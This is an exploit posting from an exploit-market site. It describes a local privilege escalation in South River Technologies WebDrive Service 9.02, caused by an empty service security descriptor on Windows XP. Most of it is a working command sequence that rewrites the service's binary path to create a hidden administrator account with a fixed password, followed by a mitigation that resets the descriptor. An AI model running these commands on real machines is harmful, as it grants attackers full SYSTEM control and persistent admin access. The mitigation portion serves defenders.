[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

South River Technologies WebDrive Service privilege escalation

Author
bellick
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-8136
Category
local exploits
Date add
19-10-2009
Platform
unsorted
==============================================================
South River Technologies WebDrive Service privilege escalation
==============================================================


# Title: South River Technologies WebDrive Service privilege escalation
# CVE-ID: ()
# OSVDB-ID: ()
# Author: bellick
# Published: 2009-10-20
# Verified: yes

view source
print?
South River Technologies WebDrive Service Bad Security Descriptor Local Elevation Of Privileges
by Nine:Situations:Group::bellick
 
Software site: http://www.webdrive.com/
Download location: http://www.webdrive.com/download/index.html
 
Tested against:
South River Technologies WebDrive 9.02 build 2232
on Microsoft Windows XP SP3
 
The "WebDrive Service" is installed with an empty security descriptor. A malicious user can
stop the service, then invoke the "sc config" command to replace the binary path with a value
of choice, then restart the service to run the command with SYSTEM privileges ex., run theese
commands as a limited user:
 
sc stop WebDriveService
sc config WebDriveService binPath= "cmd /c net user southriver kills /add && net localgroup Administrators southriver /add"
sc start WebDriveService
runas /noprofile /user:%COMPUTERNAME%\southriver cmd
 
now login as administrator with password "kills"
 
mitigation:
 
the security descriptor of the service is like this:
 
C:\>sc sdshow WebDriveService
 
D:
 
change the security descriptor like the following:
 
c:\sc sdset WebDriveService D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
[SC] SetServiceObjectSecurity SUCCESS





#  0day.today [2024-07-01]  #